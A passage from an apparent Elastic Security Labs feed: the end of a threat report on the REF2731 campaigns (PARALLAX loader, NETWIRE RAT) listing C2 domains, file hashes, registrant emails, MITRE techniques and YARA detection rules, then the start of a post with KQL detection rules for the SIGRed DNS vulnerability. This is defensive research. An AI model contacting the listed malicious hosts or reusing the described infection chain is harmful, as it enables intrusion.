<td>NETWIRE C2 domain</td>
</tr>
<tr>
<td>septton[.]com</td>
<td>domain-name</td>
<td>NETWIRE C2 domain</td>
</tr>
</tbody>
</table>
<h3>Campaign 2</h3>
<h4>Overview</h4>
<p>This campaign is clustered through its lure document metadata, network infrastructure, dropped macro, and malicious DLL ( <strong>msvcr100.dll</strong> ).</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/exploring-the-ref2731-intrusion-set/image24.jpg" alt="Campaign 2 node-link analysis" /></p>
<h4>Lure Documents</h4>
<p>The lure document used in Campaign 2 is a macro-embedded Microsoft Word document. The document metadata differentiates it from Campaign 1 based on the <strong>LastModifiedBy</strong> field and the macro network infrastructure.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/exploring-the-ref2731-intrusion-set/image10.jpg" alt="Campaign 2 lure document metadata" /></p>
<p>The document name was also related to 2021 United States tax filings.</p>
<h4>Macro</h4>
<p>Like Campaign 1, the macro downloads several files. Beyond the DLL file ( <strong>msvcr100.dll</strong> ), all files were offline before they could be collected. Based on the TTPs observed in this campaign, we assess with high confidence that they <strong>(java.exe</strong>, <strong>Fruit.png</strong> , <strong>idea.cfg</strong> , and <strong>idea.mp3</strong> ) function similarly to the files from Campaign 1 and detailed in the Execution Flow section above.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/exploring-the-ref2731-intrusion-set/image13.jpg" alt="Campaign 2 macro-downloaded files" /></p>
<p>Additional details about the Campaign 1 and Campaign 2 file relationships are in the “Campaign intersections” section below.</p>
<h4>Network Infrastructure</h4>
<p>Campaign 2 included one domain contacted by the macro to download artifacts required for stages two through five (described in detail in the “Execution Flow” section above). Additionally, there was one domain used for the NETWIRE RAT C2.</p>
<p>The two domains are:</p>
<ul>
<li>solro14.s3.ap-northeast-3.amazonaws[.]com - macro-connected</li>
<li>ohioohioa[.]com - NETWIRE C2</li>
</ul>
<p>Once the execution flow reaches stage four, ohioohioa[.]com acts as the ongoing command and control node for the NETWIRE RAT.</p>
<h4>Campaign 2 Indicators</h4>
<table>
<thead>
<tr>
<th>Name</th>
<th>STIX 2.1 Indicator Type</th>
<th>Identifier</th>
</tr>
</thead>
<tbody>
<tr>
<td>solro14.s3.ap-northeast-3.amazonaws[.]com</td>
<td>domain-name</td>
<td>PARALLAX loader domain</td>
</tr>
<tr>
<td>32fc0d1ad678133c7ae456ecf66c3fcf97e43abc2fdfce3ad3dce66af4841f35</td>
<td>SHA-256</td>
<td>2021-Individual-Tax-Form.doc lure document</td>
</tr>
<tr>
<td>443879ee2cb3d572bb928d0831be0771c7120968e442bafe713a6e0f803e8cd9</td>
<td>SHA-256</td>
<td>msvcr100.dll PARALLAX loader / NETWIRE</td>
</tr>
<tr>
<td>ohioohioa[.]com</td>
<td>domain-name</td>
<td>NETWIRE C2 domain</td>
</tr>
</tbody>
</table>
<h2>Campaign Intersections</h2>
<p>Campaign 1 and Campaign 2 intersect in several ways.</p>
<p>As illustrated in the image below, each campaign relied on a lure document (or documents) to execute a macro that contacted adversary-owned or controlled domains; downloaded artifacts used to install and protect the PARALLAX and NETWIRE RAT implants. Additionally, in both campaigns we analyzed, there is a shared network infrastructure used for the NETWIRE C2.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/exploring-the-ref2731-intrusion-set/image16.jpg" alt="Campaign 1 and Campaign 2 intersections" /></p>
<h3>The Pyramid of Pain</h3>
<p>In 2013 (and updated in 2014), security researcher David Bianco released an analytical model called the <a href="http://detect-respond.blogspot.com/2013/03/the-pyramid-of-pain.html">Pyramid of Pain</a>. The model is intended to understand how uncovering different parts of an intrusion can impact a campaign. As you can see in the model below, the identification of hash values is useful, but easily changed by an adversary whereas identifying TTPs is very difficult for an adversary to change.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/exploring-the-ref2731-intrusion-set/image4.jpg" alt="The Pyramid of Pain" /></p>
<p>The goal of using the Pyramid of Pain is to understand as much about the intrusion as possible and project the impact (read: the amount of &quot;pain&quot;) you can inflict.</p>
<p>When analyzing the two campaigns, we can put the Pyramid of Pain into action.</p>
<ul>
<li>
<p><strong>Hash values</strong> - each lure document had a unique hash.</p>
</li>
<li>
<p><strong>IP addresses</strong> - each network connection leveraged a different IP address.</p>
</li>
<li>
<p><strong>Domain names</strong> - each network connection leveraged exclusive domains for the macro components but shared a NETWIRE C2 domain (ohioohioa[.]com).</p>
</li>
<li>
<p><strong>Network/host artifacts</strong></p>
<ul>
<li>Identically-named host artifacts observed in Campaign 1.</li>
<li>Renamed from Campaign 1, but functionally identical, host artifacts observed in Campaign 2.</li>
<li>Artifact bundles from both campaigns include similarly formatted and functionally identical files.</li>
</ul>
</li>
<li>
<p><strong>Tools</strong> - macro-enabled Word document lures, and PARALLAX and NETWIRE RATs.</p>
</li>
<li>
<p><strong>TTPs</strong> - complex and defensive five-staged execution chain.</p>
</li>
</ul>
<p>Looking across both campaigns, we can see there is some shared infrastructure at the Domain Names tier in the NETWIRE C2 domain (ohioohioa[.]com). In the Network/host artifacts tier we can see additional intersections between the campaigns.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/exploring-the-ref2731-intrusion-set/image3.jpg" alt="Network/host artifacts" /></p>
<p>In both campaigns, we can see a PE file ( <strong>MsiDb.exe</strong> and <strong>java.exe</strong> ), a DLL file ( <strong>msi.dll</strong> and <strong>msvcr100.dll</strong> ), a PNG file ( <strong>paper.png</strong> and <strong>Fruit.png</strong> ), an audio-format named file ( <strong>cs16.wav</strong> and <strong>idea.mp3</strong> ), and a configuration file ( <strong>cs16.cfg</strong> and <strong>idea.cfg</strong> ) at the Network/host artifact tier. All downloaded files in Campaign 1 are named the same across all three lure documents. In both campaigns, the audio-format named files have the same base name as the configuration files ( <strong>cs16.wav</strong> / <strong>cs16.cfg</strong> and <strong>idea.mp3</strong> / <strong>idea.cfg</strong> ). In both campaigns, we assess with high confidence that all host artifacts are functionally identical as described in the Execution Flow section above.</p>
<h2>The SEPTTON Domain</h2>
<p>As reported in the Campaign 1 section, most of the network infrastructure was either well-used across multiple intrusions unrelated to our campaigns or protected by domain privacy services.</p>
<p>An exception to that is the seppton[.]com domain, which was used as the C2 node for a NETWIRE RAT implant in our sampling. Continuing to analyze this domain, we observed several other associated malicious files. While we did not independently verify the family of malware that is communicating with this domain, signature names in VirusTotal include NETWIRE.</p>
<blockquote>
<p>It should be noted that signature names in VirusTotal alone do not present enough information to provide a high-confidence conviction of a malware sample to a malware family.</p>
</blockquote>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/exploring-the-ref2731-intrusion-set/image5.jpg" alt="septton[.]com file relationships" /></p>
<p>Looking through the registration information for the domain, we observed two elements of note, both email addresses - marketforce666@yandex[.]com and chisholm.i@aol[.]com.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/exploring-the-ref2731-intrusion-set/image37.jpg" alt="septton[.]com domain registration" /></p>
<p>In the next two sections, we’ll discuss the resource development for domains used in campaigns.</p>
<h3>marketforce666</h3>
<p>Searching for <strong>marketforce666</strong> in a search engine did not return results of value from the United States; however, when changing to an Internet egress point within Russia and using the Yandex search engine (Yandex is a Russian Internet services provider), we identified 802 results that show this term has been associated with multiple abuse reports.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/exploring-the-ref2731-intrusion-set/image18.jpg" alt="marketforce666 Yandex search engine results" /></p>
<p>When expanding our search for domains registered by marketforce666@yandex[.]com, we identified three additional domains. We did not observe these additional domains in our campaigns, but we are including them as indicator artifacts. Below are the four total domains (one from Campaign 1 and three additional) that were registered by, either as the admin, tech, or registrant address, marketforce666@yandex[.]com.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/exploring-the-ref2731-intrusion-set/image31.jpg" alt="Domains registered to marketforce666@yandex[.]com" /></p>
<h3>gaza666</h3>
<p>Looking at the other email address, chisholm.i@aol[.]com, we were able to connect this email address with a moniker of <strong>gaza666</strong> from the online forum and marketplace, Infected Zone.</p>
<p>On this forum, the user <strong>gaza666</strong> attempted to purchase (<code>https://infected-zone[.]com/threads/2814/</code>) an “Office 365 Complete Package” from the online seller <strong>rzkyo</strong>. <strong>gaza666</strong> and the seller <strong>rzkyo</strong> engaged in a dispute on the forum where <strong>gaza666</strong> did not believe they received what they purchased - which was a package for email spamming and four United States Office 365 accounts but received three nonfunctional and non-Office 365 Phillipino accounts. The seller, <strong>rzkyo</strong> , responded and the two debated what was purchased and what was delivered. The dispute was responded to by a moderator who attempted to resolve the issue.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/exploring-the-ref2731-intrusion-set/image15.png" alt="Invoice email where gaza666 purchased infrastructure from rzkyo" /></p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/exploring-the-ref2731-intrusion-set/image14.png" alt="Invoice where gaza666 is linked to chisholm.i@aol[.]com" /></p>
<p>The results of the dispute were not in the forum, but there were several screenshots where <strong>rzkyo</strong> showed <strong>gaza666</strong> and the moderators that the services they sold were functional.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/exploring-the-ref2731-intrusion-set/image27.png" alt="SMTP credentials from rzkyo to gaza666" /></p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/exploring-the-ref2731-intrusion-set/image34.png" alt="Setup of online SMTP testing service" /></p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/exploring-the-ref2731-intrusion-set/image11.png" alt="Test from email spam accounts purchased from rzkyo" /></p>
<p>While it is unknown if the infrastructure above that <strong>gaza666</strong> attempted to purchase from <strong>rzkyo</strong> was used in our observed campaigns (or ever used at all), but <strong>gaza666</strong> is associated with chisholm.i@aol[.]com, which was used to register septton[.]com, and septton[.]com was used as a NETWIRE C2 node in Campaign 1.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/exploring-the-ref2731-intrusion-set/image39.jpg" alt="gaza666 involvement in NETWIRE C2 in Campaign 1" /></p>
<p><strong>marketforce666</strong> (marketforce666@yandex[.]com) and <strong>gaza666</strong> (chisholm.i@aol[.]com) share a relationship in that both emails were used in the registration of septton[.]com, which was used as a NETWIRE C2 domain for Campaign 1. The <strong>666</strong> term appended to <strong>marketforce</strong> and <strong>gaza</strong> could be another indicator of their relationship, but this could not be confirmed.</p>
<h2>Diamond Model</h2>
<p>Elastic Security utilizes the <a href="https://www.activeresponse.org/wp-content/uploads/2013/07/diamond.pdf">Diamond Model</a> to describe high-level relationships between adversaries and victims of intrusions.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/exploring-the-ref2731-intrusion-set/image8.png" alt="REF2731 diamond model" /></p>
<h2>Observed Adversary Tactics and Techniques</h2>
<p>Elastic uses the MITRE ATT&amp;CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.</p>
<h3>Tactics</h3>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0042/">Resource Development</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0001/">Initial Access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0003/">Persistence</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0004/">Privilege Escalation</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0004/">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0011/">Command and Control</a></li>
</ul>
<h3>Techniques / Sub techniques</h3>
<p>Techniques and Sub techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1583/001/">Acquire Infrastructure: Domains</a></li>
<li><a href="https://attack.mitre.org/techniques/T1566/001/">Phishing: Attachment</a></li>
<li><a href="https://attack.mitre.org/techniques/T1574/002/">Hijack Execution Flow: DLL Side-Loading</a></li>
<li><a href="https://attack.mitre.org/techniques/T1055/">Process Injection</a></li>
<li><a href="https://attack.mitre.org/techniques/T1053/005/">Scheduled Task</a></li>
<li><a href="https://attack.mitre.org/techniques/T1106/">Native API</a></li>
<li><a href="https://attack.mitre.org/techniques/T1027/003/">Obfuscated Files or Information: Steganography</a></li>
<li><a href="https://attack.mitre.org/techniques/T1548/002/">Abuse Elevation Control Mechanism: Bypass User Account Control</a></li>
</ul>
<h2>Detection</h2>
<h3>Detection Logic</h3>
<p>The following detection rules and behavior prevention events were observed throughout the analysis of this intrusion set.</p>
<p><strong>Behavioral Rules</strong></p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/command_and_control_netwire_rat_registry_modification.toml">NetWire RAT Registry Modification</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/command_and_control_remcos_rat_registry_or_file_modification.toml">Remcos RAT Registry or File Modification</a></li>
</ul>
<p><strong>Detection Rules</strong></p>
<ul>
<li><a href="https://www.elastic.co/jp/guide/en/security/current/persistence-via-scheduled-job-creation.html">Persistence via Scheduled Job Creation</a></li>
<li><a href="https://www.elastic.co/jp/guide/en/security/current/command-prompt-network-connection.html">Command Prompt Network Connection</a></li>
</ul>
<p><strong>Signatures</strong></p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Parallax.yar">Windows.Trojan.Parallax</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Netwire.yar">Windows.Trojan.Netwire</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Remcos.yar">Windows.Trojan.Remcos</a></li>
</ul>
<h3>YARA</h3>
<p>Elastic Security has created YARA rules to identify this activity.</p>
<pre><code>rule Windows_Trojan_Parallax_1 {
    meta:
        author = “Elastic Security”
        creation_date = &quot;2022-09-05&quot;
        last_modified = &quot;2022-09-15&quot;
        license = “Elastic License v2”
        os = &quot;Windows&quot;
        arch = &quot;x86&quot;
        category_type = &quot;Trojan&quot;
        family = &quot;Parallax&quot;
        threat_name = &quot;Windows.Trojan.Parallax&quot;
    strings:
        $COM_png = { B9 01 00 00 00 6B D1 00 C6 44 15 D4 83 B8 01 00 00 00 C1 E0 00 C6 44 05 D4 B6 B9 01 00 00 00 D1 E1 C6 44 0D D4 33 BA 01 00 00 00 6B C2 03 C6 44 05 D4 28 B9 01 00 00 00 C1 E1 02 C6 44 0D D4 36 BA 01 00 00 00 6B C2 05 C6 44 05 D4 6B B9 01 00 00 00 6B D1 06 C6 44 15 D4 90 B8 01 00 00 00 6B C8 07 C6 44 0D D4 97 }
        $png_parse = { 8B 4D ?? 8B 04 B8 85 C9 74 ?? 8B F1 90 8A 08 8D 40 ?? 88 0C 1A 42 83 EE ?? 75 ?? 8B 4D ?? 8B 45 ?? 47 3B 7D ?? 72 ?? }
        $config_func = { C7 45 F8 68 74 74 70 8B ?? ?? 8B 02 89 ?? ?? 6A 08 8D ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 08 8B ?? ?? 52 8D ?? ?? 50 8B ?? ?? 8B 51 0C FF D2 }
        $winnet_function = { B8 77 00 00 00 66 89 ?? ?? B9 69 00 00 00 66 89 ?? ?? BA 6E 00 00 00 66 89 ?? ?? B8 69 00 00 00 66 89 ?? ?? B9 6E 00 00 00 66 89 ?? ?? BA 65 00 00 00 66 89 ?? ?? B8 74 00 00 00 66 89 ?? ?? 33 C9 66 89 ?? ?? 8D ?? ?? 52 8B ?? ?? 8B 48 1C FF D1 }
    condition:
        $config_func or $winnet_function or $COM_png or $png_parse
}

rule Windows_Trojan_Parallax_2 {
    meta:
        author = “Elastic Security”
        creation_date = &quot;2022-09-08&quot;
        last_modified = &quot;2022-09-08&quot;
        license = “Elastic License v2”
        os = &quot;Windows&quot;
        arch = &quot;x86&quot;
        category_type = &quot;Trojan&quot;
        family = &quot;Parallax&quot;
        threat_name = &quot;Windows.Trojan.Parallax&quot;
    strings:
        $parallax_payload_strings_0 = &quot;[Ctrl +&quot; ascii wide fullword
        $parallax_payload_strings_1 = &quot;[Ctrl]&quot; ascii wide fullword
        $parallax_payload_strings_2 = &quot;Clipboard Start&quot; ascii wide fullword
        $parallax_payload_strings_3 = &quot;[Clipboard End]&quot; ascii wide fullword
        $parallax_payload_strings_4 = &quot;UN.vbs&quot; ascii wide fullword
        $parallax_payload_strings_5 = &quot;lt +&quot; ascii wide fullword
        $parallax_payload_strings_6 = &quot;lt]&quot; ascii wide fullword
        $parallax_payload_strings_7 = &quot;.DeleteFile(Wscript.ScriptFullName)&quot; ascii wide fullword
        $parallax_payload_strings_8 = &quot;.DeleteFolder&quot; ascii wide fullword
        $parallax_payload_strings_9 = &quot;.DeleteFile &quot; ascii wide fullword
        $parallax_payload_strings_10 = &quot;Scripting.FileSystemObject&quot; ascii wide fullword
        $parallax_payload_strings_11 = &quot;On Error Resume Next&quot; ascii wide fullword
        $parallax_payload_strings_12 = &quot;= CreateObject&quot; ascii wide fullword
        $parallax_payload_strings_13 = &quot;.FileExists&quot; ascii wide fullword
    condition:
        7 of ($parallax_payload_strings_*)
}
</code></pre>
<h2>PARALLAX Payload Extractor</h2>
<p>Automating the payload extraction from PARALLAX is a key aspect when it comes to threat hunting as it gives visibility of the campaign and the malware deployed by the threat actors which enable us to discover new unknown samples in a timely manner.</p>
<p>Our extractor takes either a directory of samples with <strong>-d</strong> option or <strong>-f</strong> for a single sample, You can use the <strong>-o</strong> switch to set the output directory of the payloads.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/exploring-the-ref2731-intrusion-set/image6.png" alt="Payload extraction from a PARALLAX sample" /></p>
<p>To enable the community to further defend themselves against existing and new variants of the PARALLAX loader, we are making the payload extractor open source under the Apache 2 License. The payload extractor documentation and binary download can be accessed <a href="https://www.elastic.co/jp/security-labs/parallax-payload-extractor">here</a>.</p>
<h2>Conclusion</h2>
<p>In the above research, we have analyzed the two campaigns that we’ve tracked using macro-embedded lure documents that download seemingly benign artifacts from the staging hosts on the Internet, and weaponize those artifacts to perform persistence, command and control, and remote access of an infected host.</p>
<p>We also highlighted the elements used to cluster the two campaigns together and how the campaigns can be used with analytical models to impose costs on the campaign owners.</p>
<h2>References</h2>
<p>The following were referenced throughout the above research:</p>
<ul>
<li><a href="https://blog.morphisec.com/parallax-rat-active-status">https://blog.morphisec.com/parallax-rat-active-status</a></li>
<li><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.parallax">https://malpedia.caad.fkie.fraunhofer.de/details/win.parallax</a></li>
<li><a href="https://attack.mitre.org/software/S0198/">https://attack.mitre.org/software/S0198/</a></li>
<li><a href="https://attack.mitre.org/groups/G0120/">https://attack.mitre.org/groups/G0120/</a></li>
<li><a href="https://malpedia.caad.fkie.fraunhofer.de/actor/evilnum">https://malpedia.caad.fkie.fraunhofer.de/actor/evilnum</a></li>
<li><a href="http://blog.nsfocus.net/darkcasino-apt-evilnum/">http://blog.nsfocus.net/darkcasino-apt-evilnum/</a></li>
</ul>
<h2>Indicators</h2>
<p>Artifacts are also available for <a href="https://assets.contentstack.io/v3/assets/bltefdd0b53724fa2ce/bltc090b3574bb4e7be/633615e4a920fd42f67e7534/ref2731-indicators.zip">download</a> in both ECS and STIX format in a combined zip bundle.</p>
<table>
<thead>
<tr>
<th>Name</th>
<th>STIX 2.1 Indicator Type</th>
<th>Identifier</th>
</tr>
</thead>
<tbody>
<tr>
<td>bc9f19ae835d975de9aaea7d233b6ea9b2bc30f80d192af2e8e68542b588917e</td>
<td>SHA-256</td>
<td>Brian_Tax_Docs.doc lure document</td>
</tr>
<tr>
<td>d70365481fb4806130743afd199697eb981a0eb2756754ecc548f5b30c2203a5</td>
<td>SHA-256</td>
<td>VIRGINIA-TAX-RETURN-2021-US-EXT.doc lure document</td>
</tr>
<tr>
<td>9dd709cb989d985a6cfee4a254f894a3b878a03962dbf253cb09a24ece455d58</td>
<td>SHA-256</td>
<td>All Docs.doc lure document</td>
</tr>
<tr>
<td>16227f50bbe42a13a2abf0bf0e146f356863de59525c54909ea8ccc2db448f77</td>
<td>SHA-256</td>
<td>msi.dll PARALLAX loader / NETWIRE</td>
</tr>
<tr>
<td>0c8c431a1f589fdcf453c7afada63c2e2e2a887e49abdbb222983fa6044fdf66</td>
<td>SHA-256</td>
<td>cs16.wav (shellcode)</td>
</tr>
<tr>
<td>6ed65beb692301af5296ba6751063ae40e91c4e69ced43560c67ce58165c36b5</td>
<td>SHA-256</td>
<td>cs16.cfg (config for PNG stage)</td>
</tr>
<tr>
<td>5f259757741757c78bfb9dab2cd558aaa8403951c1495dc86735ca73c33d877f</td>
<td>SHA-256</td>
<td>paper.png (stager for NETWIRE)</td>
</tr>
<tr>
<td>321d840a23b54bb022ff3a5dcac837e7aec14f66e3ec5e6da5bfeebec927a46c</td>
<td>SHA-256</td>
<td>2021-EXTENSION.doc lure document</td>
</tr>
<tr>
<td>443879ee2cb3d572bb928d0831be0771c7120968e442bafe713a6e0f803e8cd9</td>
<td>SHA-256</td>
<td>msvcr100.dll PARALLAX loader / NETWIRE</td>
</tr>
<tr>
<td>globalartisticservices[.]com</td>
<td>domain-name</td>
<td>PARALLAX loader domain</td>
</tr>
<tr>
<td>DigitalRotPrevention[.]com</td>
<td>domain-name</td>
<td>PARALLAX loader domain</td>
</tr>
<tr>
<td>InternationalMusicServices[.]com</td>
<td>domain-name</td>
<td>PARALLAX loader domain</td>
</tr>
<tr>
<td>ywiry[.]com</td>
<td>domain-name</td>
<td>NETWIRE C2 domain</td>
</tr>
<tr>
<td>ohioohioa[.]com</td>
<td>domain-name</td>
<td>NETWIRE C2 domain</td>
</tr>
<tr>
<td>septton[.]com</td>
<td>domain-name</td>
<td>NETWIRE C2 domain</td>
</tr>
<tr>
<td>solro14.s3.ap-northeast-3.amazonaws[.]com</td>
<td>domain-name</td>
<td>PARALLAX loader domain</td>
</tr>
<tr>
<td>mikemikemic[.]com</td>
<td>domain-name</td>
<td>Domains registered by marketforce666@yandex[.]com</td>
</tr>
<tr>
<td>ppl-biz[.]com</td>
<td>domain-name</td>
<td>Domains registered by marketforce666@yandex[.]com</td>
</tr>
<tr>
<td>opnarchitect[.]net</td>
<td>domain-name</td>
<td>Domains registered by marketforce666@yandex[.]com</td>
</tr>
<tr>
<td>micsupportcenter[.]com</td>
<td>domain-name</td>
<td>PARALLAX loader domain</td>
</tr>
<tr>
<td>russnet123@protonmail[.]com</td>
<td>email-addr</td>
<td>PARALLAX loader domain registration email address</td>
</tr>
<tr>
<td>chisholm.i@aol[.]com</td>
<td>email-addr</td>
<td>NETWIRE C2 domain registration email address</td>
</tr>
</tbody>
</table>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/jp/security-labs/assets/images/exploring-the-ref2731-intrusion-set/ref-intrusion.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Detection rules for SIGRed vulnerability]]></title>
            <link>https://www.elastic.co/jp/security-labs/detection-rules-for-sigred-vulnerability</link>
            <guid>detection-rules-for-sigred-vulnerability</guid>
            <pubDate>Tue, 22 Nov 2022 00:00:00 GMT</pubDate>
            <description><![CDATA[The SIGRed vulnerability impacts all systems leveraging the Windows DNS server service (Windows 2003+). To defend your environment, we recommend implementing the detection logic included in this blog post using technology like Elastic Security.]]></description>
            <content:encoded><![CDATA[<blockquote>
<p>To defend your environment from the SIGRed vulnerability, we recommend implementing the detection logic included below into your environment using technology such as <a href="https://www.elastic.co/jp/endpoint-security/">Endpoint security</a>, <a href="https://www.elastic.co/jp/beats/winlogbeat">Winlogbeat</a>, <a href="https://www.elastic.co/jp/beats/packetbeat">Packetbeat</a>, or <a href="https://www.elastic.co/jp/training/network-security-monitoring-engineer">network security monitoring (NSM)</a> platforms such as Zeek or Suricata.</p>
</blockquote>
<h2>Executive summary</h2>
<p>On July 14, 2020, Microsoft released a <a href="https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1350">security update</a> related to a remote code execution (RCE) and denial of service (DoS) vulnerability (<a href="https://nvd.nist.gov/vuln/detail/CVE-2020-1350">CVE-2020-1350</a>) in Windows DNS Server (2003 - 2019).</p>
<h3>Summary</h3>
<ul>
<li>National Institute of Standards and Technology (NIST) assigned a critical <a href="https://www.first.org/cvss/v3.1/specification-document">CVSS score</a>of 10 out of 10 based on remote code execution without authentication and potential to self-replicate without user interaction</li>
<li>The vulnerability is estimated to be 17 years old and impacts older operating systems (Windows 2003+), which may no longer be supported</li>
<li>The DNS role, which must be enabled to be impacted, is enabled in most environments, and is required by Active Directory and Kerberos services</li>
<li>The vulnerability was <a href="https://research.checkpoint.com/2020/resolving-your-way-into-domain-admin:-exploiting-a-17-year-old-bug-in-windows-dns-servers/">reported</a> by Check Point Research and given name “SIGRed”</li>
</ul>
<h3>Timeline of events</h3>
<ul>
<li>May 19, 2020 - Initial Check Point disclosure sent to Microsoft</li>
<li>June 18, 2020 - CVE-2020-1350 issued to vulnerability</li>
<li>July 14, 2020 - Microsoft released patch</li>
<li>July 16, 2020 - First public DoS proof-of-concept <a href="https://github.com/maxpl0it/CVE-2020-1350-DoS">published</a></li>
<li>July 17, 2020 - Elastic releases SIGRed public detection logic</li>
</ul>
<h2>Impact</h2>
<p>All systems leveraging the Windows DNS server service are impacted (Windows 2003+). This includes machines such as domain controllers/member servers leveraging Active Directory/Kerberos, as these services rely on the Windows DNS service.</p>
<p>Of note, this is an impact on the way Windows DNS server improperly handles malformed requests and not an underlying issue with the DNS protocol itself.</p>
<p>The SIGRed exploit leverages multiple tactics and techniques categorized by the MITRE ATT&amp;CK® framework:</p>
<h3>Tactics</h3>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0008">Lateral Movement</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002">Execution</a></li>
</ul>
<h3>Techniques</h3>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1133">External Remote Services</a></li>
<li><a href="https://attack.mitre.org/techniques/T1210">Exploitation of Remote Services</a></li>
</ul>
<h2>Detection</h2>
<h3>Detection logic</h3>
<p>On June 30, 2020, The Elastic Security Intelligence &amp; Analytics Team <a href="https://www.elastic.co/jp/blog/elastic-security-opens-public-detection-rules-repo">released</a> our <a href="https://github.com/elastic/detection-rules">Detection Rules Repository</a> to the public. Expanding on the rules that were released with that post, we’ve included network and endpoint rules that target CVE-2020-1350 (SIGRed) in the public repository:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/execution_unusual_dns_service_children.toml">Unusual Child Process of dns.exe</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/execution_unusual_dns_service_file_writes.toml">Unusual File Modification by dns.exe</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/lateral_movement_dns_server_overflow.toml">Abnormally Large DNS Response</a></li>
</ul>
<h3>Unusual child of dns.exe - Kibana Query Language (KQL)</h3>
<p>The detection logic in Figure 1 (below) identifies suspicious or unexpected child processes spawned from the Windows DNS service (dns.exe). This activity may indicate activity related to remote code execution (RCE) or other forms of exploitation.</p>
<pre><code>event.category:process and event.type:start and process.parent.name:dns.exe and not process.name:conhost.exe
</code></pre>
<p><em>Figure 1 - Unusual child process of dns.exe</em></p>
<h3>Unusual file operations of dns.exe (KQL)</h3>
<p>The detection logic in Figure 2 (below) identifies suspicious or unexpected files being modified by the Windows DNS service (dns.exe). This not only indicates potential RCE or exploitation, but may also indicate preparation for post-compromise activities. For example, this service which is running with SYSTEM privileges could be used to silently write a DLL to Windows system folder setting up possible execution through a known DLL side-loading vector.</p>
<pre><code>event.category:file and process.name:dns.exe and not file.name:dns.log
</code></pre>
<p><em>Figure 2 - Unusual file modification by dns.exe</em></p>
<h3>Network (Packetbeat and Filebeat with the Zeek or Suricata modules)</h3>
<p>As detailed in the <a href="https://research.checkpoint.com/2020/resolving-your-way-into-domain-admin:-exploiting-a-17-year-old-bug-in-windows-dns-servers/">Check Point SIGRed research</a>, abnormally large DNS responses can cause the heap-based buffer overflow scenario. The logic in Figure 3 (below) identifies large DNS responses using either Packetbeat or Filebeat (with Zeek or Suricata modules enabled).</p>
<pre><code>event.category:(network or network_traffic) and destination.port:53 and (event.dataset:zeek.dns or type:dns or event.type:connection) and network.bytes&gt;60000
</code></pre>
<p><em>Figure 3 - Abnormally large DNS response (KQL)</em></p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/detection-rules-for-sigred-vulnerability/packetbeat-network-blog-sigred-vulnerability.png" alt="Figure 4 - Packetbeat network detection logic identifying SIGRed - PCAP Source: maxpl0it" /></p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/detection-rules-for-sigred-vulnerability/filebeat-network-blog-sigred-vulnerability.png" alt="Figure 5 - Filebeat (with Zeek and Suricata) network detection logic identifying SIGRed - PCAP Source: SANS Internet Storm Center" /></p>
<h2>Defensive recommendations</h2>
<ol>
<li>Review and <a href="https://www.elastic.co/jp/guide/en/siem/guide/7.8/rules-ui-create.html#create-rule-ui">implement</a> the above detection logic within your environment using technology such as <a href="https://www.elastic.co/jp/endpoint-security/">Endpoint security</a>, <a href="https://www.elastic.co/jp/beats/winlogbeat">Winlogbeat</a>, <a href="https://www.elastic.co/jp/beats/packetbeat">Packetbeat</a>, or <a href="https://www.elastic.co/jp/training/network-security-monitoring-engineer">network security monitoring (NSM)</a> platforms such as Zeek or Suricata.</li>
<li>Use the included network rule to identify large DNS queries and responses from internal and external populations.</li>
